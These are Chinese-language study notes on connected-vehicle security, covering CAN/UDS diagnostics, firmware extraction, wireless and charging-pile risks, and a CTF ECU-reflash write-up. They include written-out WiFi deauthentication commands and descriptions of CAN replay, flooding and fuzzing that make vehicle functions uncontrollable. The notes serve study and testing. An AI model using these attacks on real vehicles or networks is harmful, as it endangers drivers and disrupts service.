车联网
CAN总线协议
网络内的节点个数在理论上不受限制,可在各节点之间实现自由通信
1.通信机制
通过高低电压来传输0、1,有两条线可以传输电压信息,分别为CAN高(CAN_H)和CAN低(CAN_L)。
电压 | 电压 | |
---|---|---|
CAN_H | 2.5V | 3.5V |
CAN_L | 2.5V | 1.5V |
传输信号 | 1(隐式) | 0(显式) |
差分电压CAN_diff = 0V,表示逻辑“1”,为隐性;
差分电压CAN_diff = 2V,表示逻辑“0”,为显性;
2.帧解析
主要关注数据场。
还有CANFD是基于CAN协议的扩展协议
3.ISO-TP协议
具体协议如下
- 单帧:数据域地第一个字节的高四位的十六进制值为0时,代表单帧数据。第一个字节的低四位代表数据长度,比如一个CAN帧
02 10 01 00 00 00 00 00
,即第一个字节为02
,高四位为0
,代表单帧,低四位为2
,代表数据长度为2
,即为后面的10 01
。 - 首帧:在多帧传输中,数据域的第一个字节的高四位的十六进制值为
1
时,代表这是多帧数据传输的第一帧,数据域的第一个字节的低四位与第二个字节代表数据帧的长度。比如一个CAN
帧10 14 2E F1 90 01 02 03
,即第一个字节为10
,高四位为1
,代表这是多帧数据传输的第一帧,低四位为0
,加上第二个字节14
,那么代表该次多帧传输会传输0x014
个字节,后面的2e f1 90 01 02 03
即为传输的有效数据,一直到不为连续帧,中间的即为总的0x014
个字节数据。 - 连续帧:在多帧传输中作为首帧的后续帧,数据域的第一个字节的高四位为
2
,第一个字节的低四位为连续帧的编号。比如一个CAN
帧21 04 05 06 07 08 09 0A
,即第一个字节为21
,高四位为2
,代表这是连续帧,低四位为1
,代表这是连续帧中编号为1
的连续帧,后面的04 05 06 07 08 09 0a
即为传输的数据。 - 流控帧:用于调节连续帧发送的速率。流控帧数据域的第一个字节的高四位为
3
。
4.SAE J1979协议
该协议属于应用层协议,对应国标为ISO 15031-5,定义了10种模式
- 模式01:请求动力系诊断数据,如发动机转速、温度、车速等
- 模式02:请求冻结帧数据,冻结帧数据时在故障发送和故障码被定义时存储的,用于反映故障发生时的环境信息,便于处理故障。
- 模式03:请求排放相关的诊断故障码,故障码的定义见
ISO 15031-6
。 - 模式04:清除/复位与排放相关的诊断信息,即维修后需要清除相关的故障码和冻结帧数据。
- 模式05:请求氧传感器检测结果,显示氧传感器检测页面和一些测试结果。
- 模式06:请求指定检测系统的测试结果,除氧传感器外还有其他的比如催化剂系统、蒸发系统等需要进行检测。
- 模式07:请求排放相关的未决故障码,维修人员通常用这个来确认是否已经正确维修且清除了故障码。
- 模式08:请求组件/系统的控制操作,具体功能由车辆制造商指定。
- 模式09:请求车辆信息,比如车厂、型号、品牌、发动机号等。
- 模式0A:请求排放相关的永久故障码,这类故障码一旦产生就不能清除改写。
比如请求车架号的CAN
帧,所属模式为09
,信息类型为02
,消息长度为02
,那么单帧传输,实际请求数据的CAN帧为
02 09 02 00 00 00 00 00
返回的数据为
1 | 10 14 49 02 01 31 47 31 |
其中首帧中49
即为针对09
的正响应。
5.UDS诊断协议
可参考:ISO 14229_小趴菜_自动驾驶搬砖人的博客-CSDN博客
通过对数据场的各个字节判断来得到相关的指令
- Tester:代表测试方
- ECU:代表车机的ECU模块
- 网络层字节(蓝色块):数据场的第一个字节,被网络层占用,一般不用管
- SID标识字节:数据场的第二个字节,代表SID(Service Identifier)诊断服务ID,表示服务标识。
- Tester:比如这里Tester请求0x10服务,代表想进入编程模式。
- ECU:同样也是在这个字节进行服务反馈,比如Tester请求0x10服务,那么ECU返回的数据场的第二个字节SID就有如下几种表示
- 肯定:返回[SID+0x40],这里就是0x10+0x40=0x50,代表ECU给出肯定响应,同意进入编程模式
- 否定:返回[0x7F],然后SID下一个字节表示否定的服务,这里请求的是0x10服务,那么SID下一个字节就会是0x10,表示否定0x10服务,不能进入编程模式。同时SID后两个字节位置会显示NRC否定响应码,即图中红色部分,不同的NRC有不同的含义,完整版请参照ISO14229附录A。
- 子功能/否定服务SID标识:数据场的第三个字节,在Tester和ECU端有不同的含义
- Tester:表示子功能服务,比如0x10服务下还具有01 Default默认会话,02 Programming编程会话,03 Extended扩展会话几个子功能,就在这里标识出来。
- ECU:同样表示整体服务的反馈
- 肯定:返回正常的子功能表示,比如这里第三行中ECU对第二行中Tester要求的0x10服务下的03子服务进行了肯定反馈。
- 否定:这个在SID标识字节中进行了介绍,和主服务显示一致。
其他的后续理解
大致的服务如下,主要用到的是具有背景颜色的部分
注:特殊的NRC-0x78,不太懂
6.UDS重点服务
0x10诊断会话服务
Diagnostic Session Control服务
0x10包含3个子功能,01 Default默认会话,02 Programming编程会话,03 Extended扩展会话,ECU上电时,进入的是默认会话(Default),通过会话模式来进行权限控制。当进入一个非默认会话模式,就会有定时器开始计时,一段时间没有请求,时间限制到了就退回到默认会话01。有一个0x3E服务可以使得诊断保持在非默认会话状态。
0x27安全访问
服务流程
ECU当中有很多数据是整车厂独有的,并不希望开放给所有客户,它需要做一个保密的设定。在读取一些特殊数据的时候,要先进行一个安全解锁。ECU上电之后是一个锁定的状态(Locked),通过0x27服务,加上一个子服务,再加上一个钥匙,这样的服务请求可以进行解锁。具体的形式如下,这里的n具体情况具体设置。
比如n=1的情况,即2n-1=1,子服务为0x01,如下所示,其中AA~DD即为种子Seed
具体的例子如下
1 | 例子: |
加密算法
加密算法主要有三个主体:
第一个主体seed,通常与ECU的运行时间有关系,是主料,在27服务发送奇数子功能时回复。seed通常一直在发生变化,无法发现其规律。
第二个主体通常和ECU有关。比如我们先用22服务读取ECU的SN,取其中4个字节,作为“调味料”参与,显然这个“调味料”对于这个ECU来说是不变的,也能通过22服务方便的读取到。
第三个主体是执行次数,就是算法要执行几轮。执行1轮和2轮得到的结果肯定是不一样的
举个简单的算法,比如seed和ECU的SN数据的前4个字节加一下,循环左移两位,执行3轮,return这个数作为key,结束。安全验证就是一把锁,算法越复杂,短时间解开的成本越高,越不易被破解掉。如果失败次数过多还会触发惩罚机制,一段时间内都无法再尝试解锁,防止人为的破解。
0x22读取数据服务
Request(请求):22+DID(Data Identifier,通常是两个字节,代表要读取的数据标识符)
Response(响应):62+DID+Data(其中Data即为返回的数据)
实际的例子如下
1 | 03 22 F1 86 AA AA AA AA |
这里的01即为返回的数据Data
其中DID有一部分已经被ISO 14229-1规定了。比如0xF186就是当前诊断会话数据标识符,0xF187就是车厂备件号数据标识符,0xF188就是车厂ECU软件号码数据ID,0xF189就是车厂ECU软件版本号数据标识符。
0x2E写入数据服务
- Request(请求):2E+DID+Data
- Response(响应):6E+DID
协议如下
- 单帧:数据域地第一个字节的高四位的十六进制值为0时,代表单帧数据。第一个字节的低四位代表数据长度,比如一个CAN帧
02 10 01 00 00 00 00 00
,即第一个字节为02
,高四位为0
,代表单帧,低四位为2
,代表数据长度为2
,即为后面的10 01
。 - 首帧:在多帧传输中,数据域的第一个字节的高四位的十六进制值为
1
时,代表这是多帧数据传输的第一帧,数据域的第一个字节的低四位与第二个字节代表数据帧的长度。比如一个CAN
帧10 14 2E F1 90 01 02 03
,即第一个字节为10
,高四位为1
,代表这是多帧数据传输的第一帧,低四位为0
,加上第二个字节14
,那么代表该次多帧传输会传输0x014
个字节,后面的2e f1 90 01 02 03
即为传输的有效数据,一直到不为连续帧,中间的即为总的0x014
个字节数据。 - 连续帧:在多帧传输中作为首帧的后续帧,数据域的第一个字节的高四位为
2
,第一个字节的低四位为连续帧的编号。比如一个CAN
帧21 04 05 06 07 08 09 0A
,即第一个字节为21
,高四位为2
,代表这是连续帧,低四位为1
,代表这是连续帧中编号为1
的连续帧,后面的04 05 06 07 08 09 0a
即为传输的数据。 - 流控帧:用于调节连续帧发送的速率。流控帧数据域的第一个字节的高四位为
3
。
实际的例子如下
1 | 10 14 2E F1 90 01 02 03 |
总共5个帧,一帧一帧的看
第一帧:10 14 2E F1 90 01 02 03
[10 14]:根据ISO15765-2标准0x10代表这是一组多帧中的首帧(属于传输层的信息),一会要发0x14=20个字节的有效数据。
[2E F1 90]:2E为写入服务,F190为DID,即为VIN码
[01 02 03]:这是将要写入VIN码的数据,为第1字节到第3字节
代表想将这三个字节写入到VIN码数据,这件事情正常是发生在车辆下线时。
第二帧:30 00 0A AA AA AA AA AA
- [30 00 0A]:是TP层(传输层)的信息,表示这是一个流控帧,ECU发出的,表示可以一直连续发,但连续帧最短的间隔时间要求是0xA,即为10ms。
第三帧:21 04 05 06 07 08 09 0A
- [21]:是TP层的信息,表示这是一个连续帧,序号为1。
- [04 05 06 07 08 09]:这是VIN码的第4字节到第10字节。
第四帧:22 0B 0C 0D 0E 0F 10 11
- [22]:是TP层的信息,表示这是一个连续帧,序号为2。
- [0B 0C 0D 0E 0F 10 11]:这是VIN码的第11字节到第17字节。
第五帧:03 6E F1 90 AA AA AA AA
- [03]:是TP层的信息,这里说的这个TP层的信息是传不到应用层的,即这是一个用完就会抛弃的信息。03的0表示这是一个单帧,3表示后面有3个有效字节。
- [6E]:6E表示我们确认执行了2E服务的请求,这个请求写入的DID是F1 90,即VIN码。
注:对于0xF190等DID不支持直接写入数据的,需要用0x10服务来进行会话转换。也就是说,对于写数据的请求,一般来说需要在一个扩展会话,和安全等级1的状态下才能进行。
0x19读DTC服务
DTC(diagnostic trouble code):如果系统检测到了一个错误,它将存储为DTC。DTC可表现为:一个显而易见的故障;通讯信号的丢失(不会使故障灯亮起);排放相关的故障;安全相关的错误等。DTC可以揭示错误的位置和错误类型,通常占用3个字节。一个DTC信息占用4个字节。最后一个字节是DTC的状态,不是错误信息的一部分。
- 第一个字节:在乘用车中,前两个bit代表P/C/B/U(动力Power/底盘Chassis/车身Body/网络Network)中的一个,之后六个bit是数字,合在一起的样子形如”P01”,其中P即为Power,形如用00/01/10/11分别表示P/C/B/U
比如”U31 2345”这个故障码:U就是11,31就是110001,所以第一个字节即为11110001=F1,那么这个DTC就是 F1 23 45 09,其中09表示的是状态掩码。
常用的子服务
19拥有28个子服务(Sub-Function),常用的有:
01 (读取符合掩码条件的DTC数量)(必须支持)
后面的字节表示DTC状态掩码,若为01表示我想读当前故障,若为08表示我想读历史故障,若为09表示当前故障和历史故障都想读。
在肯定回复时,帧为59 01 09 01 00 01 XX,组合应该是59(19+40) - 01(子服务) - 09 (本ECU所支持的掩码条件)- 01 DTC的格式(ISO14229-1为01) - 00 01 (目前满足条件的DTC有一个)
02(读取符合掩码条件的DTC列表及其状态)(必须支持),后面的字节表示DTC状态掩码,解读同上。
肯定回复时,帧为59 02 09 xx xx xx 01,59 - 02(子功能)- 09(本ECU所支持的掩码条件) - XX XX XX ( DTC,车厂定义 ) - 01 (这个故障码怎么了,01表示当前故障)
04(读取快照信息),也叫冻结帧。
06(读取扩展信息)。
0A(读取ECU支持的所有DTC列表及其状态)(必须支持)。这个就不必发DTC状态掩码了。所有支持的DTC列表及其状态都会打印出来。
0x14清除DTC服务
清除(复位)DTC格式,它可以改变DTC的状态。DTC状态中的八个位,除bit4和bit6外均会被清零,包含当前故障(TestFailed)和历史故障(ConfirmedDTC)。bit4和bit6这两个testNotCompleted开头的会被强制置1。3个FF代表清除所有DTC。
Request: 14 FF FF FF AA AA AA
Response:54 AA AA AA AA AA AA
0x2F与IO控制相关服务
该服务可以通过DID(数据标识符)来进行输入信号的替换和控制零部件负载输出,这是一个用在产线上较多的服务。该报文的请求至少由4个字节组成。第一个字节是2F,第二第三字节是DID,其中第二字节是高位。第四字节是input Output Control Parameter(并不算一个子功能),可以看做IO控制类型。
其中IO控制类型分为4类:
- 00是控制权还给ECU,Return Control To ECU。
- 01是复位为默认值,Reset to Default。
- 02是冻结当前的状态,Freeze Current State。
- 03是短暂接管控制权,Short Term Adjustment。
若控制类型是00-02这三种,请求报文是4个字节。若控制类型是03,请求报文的第五字节是控制代码,可以是数字量,比如01是开,00是关;也可以是模拟量,比如空调风门的开度。
例子如下
1 | 05 2F DD DD 03 00 AA AA ----03 00代表关闭开关 |
其中DD代表DID(Data Identifier)数据标识符
CAN总线测试
1.总线入口
CAN总线接入口在主驾驶和副驾驶的OBD口中接入;
OBD-II接口一般位于主驾和副驾的前脚下方。可用OBD-II接口信号转接器将信号转接出来,方便后面使用CAN-USB等硬件来选择接入不同的CAN总线
2.虚拟测试
在ubuntu上新建虚拟的CAN口进行测试
1 | sudo ip link add dev vcan0 type vcan |
然后使用candump,cansend即可
1 | candump vcan0 |
对应的python-can脚本为
1 | import can |
3.测试
(1)工具
将CAN总线与测试工具相连接,然后通过工具的USB口接入电脑
a)CANalyst-II
与该工具匹配的软件是CANPro,需要安装USB_CAN TOOL这款驱动软件,CANpro才能正常运行
b)PCAN-USB
与该工具匹配的软件是PCAN-View,需要安装PeakOemDrv这款驱动软件,PCAN-View才 能正常运行。
c)CANoe
与该工具匹配的软件同样也叫做CANoe,需要安装对应的驱动
d)Can-utils
一款安装在kali中的can渗透工具包,包含了许多CAN总线测试工具,比如candump、cansend、cansniffer、canplayer等。
- 输入
candump can0 –l
命令监听can总线数据并生成数据包 canplayer -I candump-xxxx-xx-xx_xxxx.log
:发送监听保存的总线数据包
(2)攻击测试
a)CAN重放攻击
监听捕获can总线数据上的包,特别是控车指令包,再重放,查看车身有无异常响应。
b)CAN拒绝服务测试
发送大量仲裁包,使总线拒绝服务,不能再单独发数据包
c)CAN总线模糊测试
将CANalyst-II接入车身CAN总线,发送大量递归数据包,其中的异常包会使车辆失控,车窗,车灯,雨刷等开始不受控。
4.CAN重放逆向
连接PCAN,导入.asc文件即可
1 | #!/usr/bin/env python |
然后依次重放每一个包,分析哪个包是指定的包。
防止重放:
LIN总线协议
专门为汽车开发的低成本串行通信网络,传输速率20Kb/s,通常一个LIN上节点数目小于12个,共有64个标识符
车载固件
固件通常由bootloader、内核、根文件系统及其他资源组成,根据嵌入式linux、嵌入式windows(WinCE)、windowsIOT内核及各种实时操作系统(RTOS)的区别,固件也有多种类型。
1.获取车载固件
没有车的情况下获取固件
官网提供升级固件
硬件调试接口JTAG获取固件
读取Flash芯片获取固件
通过串口获取车机系统Shell权限,进而对固件进行打包
利用车机固件更新API,从云端获取更新固件
云端信息泄露,如FTP弱口令或未授权接口获取车机固件
2.提取固件
提取方式
(1)车机有wifi功能,通过工程模式开启wifi热点,WiFi→FTP/TFTP→PC
在无线层面获取固件,是最理想的情况,这代表了根源的纯洁,固件还没有刷写入车机,其加密,校验,认证机制都是完整存在。
通常手段如下
- FOTA下发升级过程中截取整个网段流量,从中打包逆向出升级固件包—— 已经非常少见,FOTA传输路径成熟,无法监听获取流量
- 通过组网车载网络(wifi,热点,车载以太网),从端口接入系统,直接导出系统内的固件文件—— 前置条件是OTA的传输固件包有存储路径,否则只能导出来已经刷写好的系统组件,adb,ssh,nc,scp
(2)通过串口文件传输协议,直接提取固件,Uart→Xmodem/Ymodem/Zmodem→PC
物理层面的获取固件是可行性最大的,使用的硬件道具:jlink,ST-link,RT809,常用手段如下:
- 串口通信传输:JTAG,SPI,SWD
- 芯片提取:编程器
使用的硬件道具:jlink,ST-link,RT809
串口传输协议
Xmodem:
异步文件传输协议。分为标准Xmodem和1k-Xmodem两种,前者以128字节块的形式传输数据,后者字节块为1k即1024字节,并且每个块都使用一个校验和过程来进行错误检测。在校验过程中如果接收方关于一个块的校验和与它在发送方的校验和相同时,接收方就向发送方发送一个确认字节(ACK)。由于Xmodem需要对每个块都进行认可,这将导致性能有所下降,特别是延时比较长的场合,这种协议显得效率更低。
一个完整的数据帧一共132字节,其中包含128字节数据,数据帧以固定3字节帧头开始
- 第一个是控制字符SOH(0x01)
- 第二个是数据帧序号
- 第三个是数据帧序号反码
- 第四个是数据帧固定长度为128,不足128为使用CTRLZ(0X1A)进行补齐
- 第五个是校验和
Ymodem
Xmodem改良版,它可以一次传输1024字节的信息块,同时还支持传输多个文件。
- 第一个是控制字符SOH(0x01)
- 第二个是数据帧序号
- 第三个是数据帧序号反码
- 第四个是传输的文件名filename
- 第五个是传输的大小filesize
- 第六个是NULL部分,数据部分的128字节减去filename和filesize,剩下的用00填充
- 第七个是校验和CRC
Zmodem
采用串流传输方式,传输速度最快。Zmodem数据帧:ZPAD + ZDLE + A + frame-type ZF3 ZF2 ZF1 ZF0 CRC-1 CRC-2
ZPAD+ZDLE:帧头
A:报头的数据是二进制格式
frame-type:帧类型
ZF3 ZF2 ZF1 ZF0:4个字节信息
CRC-1 CRC-2:校验和
支持这三种协议的工具分别是minicom和SecureCRT。
通过使用SecureCRT可以直接下载或上传文件,如果芯片系统里存在lrzsz,可以直接用Zmodem进行传输。
使用sz filename
即可开始下载
3.获取Shell
硬件都会有调试接口,就是Uart。
Uart:通用异步收发传输器,是一种串行异步收发协议,应用十分广泛。Uart工作原理是将数据的二进制位一位一位的进行传输。在UART通讯协议中信号线上的状态位高电平代表’1’低电平代表’0’。当然两个设备使用UART串口通讯时,必须先约定好传输速率,也就是波特率。
典型的波特率有这些:300,1200,2400,9600,19200,38400,115200。(上述波特率并不全)
如果试过每一个波特率还是无法接收到可见字符,可能是两个问题:
找错了串口
可能它本身传输的数据是不可见字符
连接Uart需要三根线,分别是:
TX:发送数据端,要接对面设备的RX
RX:接收数据端,要接对面设备的TX
GND:保证两设备共地,有统一的参考平面
车载无线通信
车载无线通讯技术由车载导航模块、车载无线通信模块、安全报警模块、行车状态记录模块、多媒体播放模块、数据采集模块、语音识别模块、地理信息系统模块八部分组成。所有的数据都通过车载信息中心进行处理、协调,并做出正确的反应。
1.WIFI
最常见的Wi-Fi安全类型是WEP,WPA和WPA2。
WPA2:带来了另外一系列安全和加密升级,最值得注意的是将高级加密标准(AES)引入消费者Wi-Fi网络。AES比RC4强得多(因为RC4已被多次破解),并且是当前许多在线服务所采用的安全标准。
WPA3:已经推出,目前是最高的安全等级,尚未暴露危险,WPA3为标准增加了更强大的192位加密
测试工具
- Aircrack:Aircrack是目前最流行的WiFi密码破解工具。市面上能破解 WiFi加密的工具有很多,不外乎利用WEP安全漏洞或者暴力字典攻击的方式破解WPA/WPA2 PSK密码。WPA2 AES/CCMP加密依然是相对安全的选择。如果采用WPA2 PSK模式,那么你的密码长度最好是13位以上混合字符。在你的Wi-Fi网络被入侵或者“蹭网”之前,最好先用破解工具自我攻击一下。 Aircrack是一个开源的WEP/WPA/WPA2 PSK破解工具,可以运行在windows、Mac OS X、Linux和OpenBSD上。可以下载到Vmware镜像文件或Live CD文件。
- Kismet:Kismet是一个开源的WiFi扫描器,包嗅探器和入侵政策系统,可以在windows、Mac OSX、Linux和BSD上运行。Kismet能显示AP详细信息,包括隐藏的SSID,还能捕获原始无线数据包,还可以将数据导入 Wireshark、TCPdump等工具进行分析。在windows环境,受驱动程序限制,Kismet只能与 CACE AirPcap无线网卡配合工作。但在Mac OSX和Linux上,Kismet可以兼容很多无线网卡
- Wifiphisher:开源无线安全工具Wifiphisher能够对WPA加密的AP无线热点实施自动化钓鱼攻击,获取密码账户。由于利用了社工原理实施中间人攻击,Wifiphisher在实施攻击时无需进行暴力破解。WiFiphiser是基于MIT许可模式的开源软件,运行于Kali Linux之上。
WIFI deauth攻击
1.将无线网卡接入测试电脑Linux虚拟机(装有Aircrack-ng)
2.测试电脑使用Linux虚拟机
3.在kali的命令行中输入ifconfig,查看无线网卡是否成功连接至系统(出现了名为wlan0的无线网卡则是成功连接)
4.使用命令ifconfig wlan0 up启用无线网卡
5.使用命令airmon-ng start wlan0 将网卡设置为监听模式(开启混杂模式才能嗅探所有经过网卡的数据包)
6.使用命令ifconfig查看网卡是否开启监听模式
7.监听模式开启成功后,使用命令airodump-ng wlan0对当前环境的无线网络进行嗅探,根据SSID确认攻击目标,并记录目标MAC(mon0为激活监听模式的无线网卡名称)
8.使用命令aireplay-ng -0 100 –a AP的mac wlan0进行DeAuth攻击(-0 采用deauth攻击模式,100为攻击次数,-a 后跟AP的MAC地址,-c 后跟客户端的MAC地址)
在攻击期间内,目标热点断开即为攻击成功
2.蓝牙
攻击类型
1、无ping码认证,设备冒充,获取车辆蓝牙连接,导致传输文件,播放音频,获取蓝牙日志存储
2、蓝牙dos攻击,使蓝牙无法连接,功能异常
3、蓝牙重放攻击,蓝牙钥匙控制指令泄露并重放
测试工具
BtleJuice框架:
BLE-Replay:
3.射频中继劫持
除开WIFI和蓝牙,整车还存在射频中继,GPS劫持,或者全频率干扰
车身的各类功能性频率都可以存在漏洞利用,tpms检测干扰,PEPS开车重置,车门钥匙死锁,甚至使板件波形破译,都存在问题
智能网联汽车安全
1.智能汽车
不同厂商的车联网实现架构不同,但总体架构可分为4部分:
信息娱乐系统(IVI):IVI:早期以CD机的形式进行音频播放,在车联网功能推广后,目前的车载娱乐系统可以通过蜂窝网络接入互联网,并提供以下常见功能:实时导航,网页浏览,视频播放,手机投屏,语音控车等。车载信息娱乐系统通常具备一部分CAN总线操控能力,因此车载信息娱乐系统”功能外溢”现象产生的攻击面很可能会导致控车漏洞的产生。
车载网关(TBOX):车载网关(Telematics BOX)。负责车机内部的以太网通信,同时提供联网能力,实现车端与云平台(TSP)的远程长连接。T-BOX具备一定CAN总线的能力,也是数字钥匙(手机控车)的实现载体。通过数字钥匙,用户可以通过手机对车辆进行远程操控(云钥匙)或者近场操控(蓝牙钥匙,NFC钥匙)。其中云钥匙的实现架构如下图所示:
手机端车联网应用(APP):手机端车联网应用程序。多数车联网汽车厂商会向车主提供车联网应用程序,此类APP通常具备以下功能: 车主服务,应用商城,远程控车等。
车联网云平台服务(TSP):车载信息服务提供商(TelematicsServiceProvider)。在车联网系统中以云的形式向用户侧与车辆侧提供以下服务:用户信息维护,车辆定位,状态监控等。
攻击路径:
车联网安全风险:
OBD:On-Board Diagnostics
2.TBOX安全
TBOX
通常是汽车用于联网的模块,又叫T盒、车载无线终端等,国外也称之为TSP(Telematics Control Unit)
远程信息控制单元。上端与TSP(Telematics Services Provider)
服务器相连,下端与CAN
总线等其他汽车模块相连。通常会提供远程控制、车辆故障诊断、OTA升级、网络共享、蓝牙钥匙、载荷分析等功能
(1)基础概念
TBOX接口
通常可以分为三种,分别为天线、通信接口以及电源
- 天线:蜂窝网络天线、WI-FI天线、GNSS天线、FM广播天线、蓝牙天线等
- 接口:USB、Ethernet、CAN、UART等
通常来说接口有一定的特征,比如天线一般采用FAKRA(FAchKReis Automobil)
连接器,这种连接器一般采用同轴电缆、单线单芯。此外颜色通常也有一定特征,比如蓝色用于GNSS、紫色用于蜂窝网络等
USB
一般采用HSD(High-Speed Data)
连接器,该接口常用于信息娱乐模块和显示装置。
TBOX结构
一般分为两种结构,一种是SoC
和通信模组分离,一种是SoC
和通信模组集成在一块。
SIM卡
大部分的TBOX
采用eSIM
卡(电子化的SIM卡),也有普通的SIM
卡
MCU
一般TBOX
上有一个MCU
机械控制单元,负责与CAN
总线进行通信
(2)TBOX安全威胁
一般的威胁有调试接口、固件提取、车联网服务平台(伪装成TBOX向云端发起攻击)、公网暴露(一些开启了Telnet的TBOX开放在云端)、CAN总线、协议安全
(3)TBOX使用
如上TBOX的信息,分析可得为奔驰汽车,制造商为Harman,型号(Model)为HERMES 1.5 CN
。通信方面可知,有蓝牙标签、WIFI模块WLAN-MAC:746FF7091E2E
。
右侧的进网许可也可以在网络上进行查询。
(4)设备上电
实际摸索把
(5)寻找入口
调试接口,实际摸索
充电桩安全
基础知识
充电桩由TCU(Traiff and Control Unit)
计费控制单元、充电主控模块、功率控制模块、开关电源等等部分组成
接口
架构
如上图所示,通常存在多种接口,包括CAN
、串口、SIM
卡槽等等,可以通过这些接口与其进行交互,常见的TCU
架构如下
充电插头
其中相关的定义如下
触头编号/标识 | 额定电压和额定电流 | 功能定义 |
---|---|---|
DC+ | 750V/1000V 80A/125A/200A/250A | 直流电源正极,连接直流电源正极与电池正极 |
DC- | 750V/1000V 80A/125A/200A/250A | 直流电源负极,连接直流电源负极与电池负极 |
PE | —– | 保护接地,连接供电设备地线和车辆电平台 |
S+ | 0~330V 2A | 充电通信CAN_H,连接非车载充电机与电动汽车的通信线 |
S- | 0~330V 2A | 充电通信CAN_L,连接非车载充电机与电动汽车的通信线 |
CC1 | 0~330V 2A | 充电连接确认 |
CC2 | 0~330V 2A | 充电连接确认 |
A+ | 0~330V 20A | 低压辅助电源正,连接非车载充电机为电动汽车提供的低压辅助电源 |
A- | 0~330V 20A | 低压辅助电源负,连接非车载充电机为电动汽车提供的低压辅助电源 |
充电协议
充电机与电池管理系统BMS(Battery Management System)
进行通信时基于CAN
通信协议,速率为250kbit/s
,使用29bit标识符的CAN
扩展帧,通信地址固定,无法更改。充电机地址86(0x56)
,BMS
地址244(F4)
可见GBT-27930-2015
标准规定的具体内容
安全风险
主要有一下几个方面
- 调试接口:常见的接口测试
- 开放服务漏洞:FTP、SSH弱口令等
- 固件漏洞:提取固件之后分析硬编码、算法等等
- CPU卡:监听串口数据,获取用户卡片加密密码等
- BMS通信协议:伪造充电报文、伪装其他用户充电
- 通信协议:充电桩与主站之间采用MQTT协议,可能存在潜在的漏洞
TIPS
实际上测试的时候,由于充电桩使用静态IP,那么电脑与充电桩直连时,无法获取有效的IP,可以用netdiscover
命令进行扫描,对应命令为netdiscover -r 192.168.1.1/16
扫描整个网段即可发现充电桩的相关IP
。
CTF题目
2020网鼎Teslaaaaa
拿到ecu_can_log.asc
文件,是can
信息内容,可以用savvycan
打开查看
接下来一步一步分析
第一步/请求进入编程会话
10 02
进入诊断控制会话,请求进入编程会话
1 | 9.498709 1 7DF Tx d 8 02 10 02 AA AA AA AA AA |
正反馈06 50
,允许进入
第二步/请求27种子
请求27
安全访问,请求种子,对应子服务为05
,即27 05
1 | 9.740585 1 730 Tx d 8 02 27 05 AA AA AA AA AA |
正反馈06 67 05
,返回种子信息,对应种子信息为11 22 33 44
,大端序,对应0x11223344
第三步/计算密钥进入27服务
通过种子计算,使用双方约定算法计算密钥,发送密钥,对应子服务为06
,尝试进入27
服务
1 | 9.782739 1 730 Tx d 8 06 27 06 EE DD CC BB AA |
依据密钥0xEEDDCCBB
,响应正反馈67 06
,允许进入27
服务
第四步/31例程控制,擦除Flash
进入27
服务后,发送多帧数据,请求擦除Flash
1 | 9.788131 1 730 Tx d 8 10 0D 31 01 FF 00 44 08 |
- 第一帧:
10 0D
,代表多帧数据首帧,数据字节数为0xD
个字节,后面的31 01 FF 00 44 08
即为首帧数据。 - 第二帧:车机返回数据,
30 08 00...00
,代表多帧数据中控制速率的帧,不用解析 - 第三帧:
21
中的2
代表为多帧数据中的一个帧,1
代表为多帧数据中首帧之后的第一个数据帧,传输数据为00 00 00 00 00 20 00
- 第四帧:车机返回数据,
05 71 01 FF 00 00
,代表针对31 01 FF 00
服务的正反馈
总的传输数据为31 01 FF 00 44 08 00 00 00 00 00 20 00
,
31 01 FF 00
其中31
为RoutineControl (0x31)
服务,表示客户端用于执行一系列定义的步骤并获取相关结果,在UDS
诊断协议一节中有对应表格解释。01
为routineControlType RoutineControl Request SID := startRoutine
代表例程控制类型,为启动例程,对应还有02
停止例程,03
请求例程结果。FF 00
表示具体的例程控制服务,功能为内容擦除。详细目录可参考ISO 14229-1-2020
中的Annex F (normative) Routine functional unit data-parameter definitions
一节的Table F.1 — routineIdentifier definition
,提取内容如附录所示。0x44
代表后面的地址和地址字宽都是4
字节08 00 00 00
代表Flash
擦除的起始地址为0x08000000
00 00 20 00
代表需要擦除0x00002000
个字节
可参考:跟我学UDS(ISO14229) ———— 0x31(RoutineControl)_小趴菜_自动驾驶搬砖人的博客-CSDN博客
第五步/34例程控制,请求下载
发送多帧数据,请求下载
1 | 9.791765 1 730 Tx d 8 10 0B 34 00 44 08 00 00 |
就不逐帧解析了,服务为34 00
,请求下载ECU
固件,发送的多帧总数据长度为0x0b
,总数据为34 00 44 08 00 00 00 00 00 20 00
,即请求下载ECU
固件到0x08000000
地址处,总计下载0x00002000
字节数据。
可参考:跟我学UDS(ISO14229) ———— 0x34(RequestDownload)_小趴菜_自动驾驶搬砖人的博客-CSDN博客
第六步/36数据传输
发送多帧数据,请求数据传输
1 | 9.795696 1 730 Tx d 8 10 82 36 01 28 04 00 20 |
服务为36
,每次多帧传输实际数据为0x80(0x82-0x02)
,总计传输0x40(0x2000/0x80)
次
第七步/37退出数据传输服务
传输数据完成后,发送37 01
服务,退出数据传输
1 | 10.314499 1 730 Tx d 8 02 37 01 AA AA AA AA AA |
得到正反馈06 77 01
,允许退出
第八步/31例程控制,厂商自定义功能
服务为31 01 DF FF
,0xDFFF
为厂商自定义服务
1 | 10.318529 1 730 Tx d 8 04 31 01 DF FF AA AA AA |
这里针对31 01
服务反馈的0x7f
不知道什么意思,后面又正反馈了,不过不影响解题
第九步/31例程控制,检查编程依赖
服务为31 01 FF 01
,检查编程依赖
1 | 10.322633 1 730 Tx d 8 04 31 01 FF 01 AA AA AA |
第十步/ECU复位
服务为02 11 01
,对ECU
进行复位
1 | 10.325697 1 7DF Tx d 8 02 11 01 AA AA AA AA AA |
中间有个拒绝复位的,不知道咱们回事,后面又正反馈了,也不影响解题
那么主要就是第六步中的数据传输,编写脚本进行提取,参考:CTF实战
1 | import re |
最后得到output.bin
文件,放入IDA
进行解析,设置arm
小端序格式
随后设置ROM
和Input file
起始地址为0x08000000
进入分析之后,按下Alt + g
进行指令格式修改,设置如下
随后按c
转为代码即可正常逆向,0x08000000
为起始地址及函数,可以从这开始分析,查找字符串即可看到flag
,但是不是最终的,需要进入函数进行分析
在如下函数进行修改
最终得到flag
,那么提取出来计算一下就行。
1 | ori_flag = "canoecr7-zd9h-1emi-or8m-f8vm2od81nfk" |
使用ghidra
也可以加载File->import File
,设置language
为armv6
小端序
随后options
打开,设置一下基地址即可
也从最开始的函数分析即可
找到flag
一样解析一下即可。
车联网比赛准备
站在主办方的角度准备车型、品牌,比如比赛在重庆举办,那么使用长安汽车的概率久比较高。
常见漏洞点
1.工程模式
2.流量分析
